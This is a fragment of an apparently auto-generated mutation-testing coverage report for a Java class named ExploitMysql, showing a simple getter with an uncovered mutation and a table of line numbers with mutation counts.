488 | throw new JSqlException(e); | |
489 | } | |
490 | } | |
491 | ||
492 | public ModelYamlMysql getModelYaml() { | |
493 |
1
1. getModelYaml : replaced return value with null for com/jsql/model/accessible/vendor/ExploitMysql::getModelYaml → NO_COVERAGE |
return this.modelYaml; |
494 | } | |
495 | } | |
Mutations | ||
54 |
1.1 2.2 |
|
74 |
1.1 |
|
75 |
1.1 |
|
76 |
1.1 |
|
77 |
1.1 |
|
79 |
1.1 |
|
85 |
1.1 2.2 |
|
87 |
1.1 |
|
88 |
1.1 |
|
89 |
1.1 |
|
90 |
1.1 |
|
95 |
1.1 |
|
99 |
1.1 |
|
103 |
1.1 |
|
106 |
1.1 |
|
113 |
1.1 |
|
120 |
1.1 |
|
124 |
1.1 |
|
142 |
1.1 |
|
143 |
1.1 |
|
156 |
1.1 2.2 |
|
162 |
1.1 |
|
165 |
1.1 |
|
166 |
1.1 |
|
174 |
1.1 2.2 |
|
183 |
1.1 2.2 3.3 |
|
185 |
1.1 |
|
189 |
1.1 |
|
194 |
1.1 |
|
196 |
1.1 |
|
201 |
1.1 |
|
207 |
1.1 |
|
211 |
1.1 |
|
213 |
1.1 |
|
220 |
1.1 |
|
224 |
1.1 |
|
228 |
1.1 |
|
229 |
1.1 |
|
232 |
1.1 |
|
240 |
1.1 2.2 |
|
241 |
1.1 |
|
252 |
1.1 2.2 3.3 |
|
254 |
1.1 |
|
261 |
1.1 |
|
264 |
1.1 2.2 |
|
266 |
1.1 |
|
267 |
1.1 |
|
269 |
1.1 |
|
271 |
1.1 |
|
291 |
1.1 |
|
294 |
1.1 |
|
303 |
1.1 |
|
307 |
1.1 |
|
329 |
1.1 |
|
332 |
1.1 |
|
341 |
1.1 |
|
345 |
1.1 |
|
362 |
1.1 2.2 |
|
372 |
1.1 |
|
380 |
1.1 |
|
385 |
1.1 |
|
398 |
1.1 |
|
409 |
1.1 |
|
415 |
1.1 |
|
426 |
1.1 |
|
428 |
1.1 |
|
433 |
1.1 |
|
434 |
1.1 |
|
435 |
1.1 |
|
436 |
1.1 |
|
450 |
1.1 |
|
474 |
1.1 |
|
475 |
1.1 |
|
476 |
1.1 |
|
477 |
1.1 |
|
486 |
1.1 |
|
493 |
1.1 |